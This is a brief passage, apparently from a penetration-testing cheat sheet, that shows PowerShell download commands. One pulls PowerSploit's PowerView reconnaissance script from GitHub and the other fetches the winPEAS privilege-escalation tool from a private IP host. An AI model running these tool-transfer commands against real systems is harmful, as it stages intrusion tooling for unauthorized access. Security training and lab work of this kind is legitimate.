Works in PowerShell from version 3 - it’s a bit slow. You can also call it with the iwr alias.
Additionally, you can also download files with (New-Object Net.WebClient).DownloadFileAsync('https://raw.githubusercontent.com/PowerShellMafia/PowerSploit/master/Recon/PowerView.ps1', 'PowerViewAsync.ps1').
Invoke-WebRequest -uri http://192.168.138.220/winPEASx64.exe -Outfile winPEAS.exe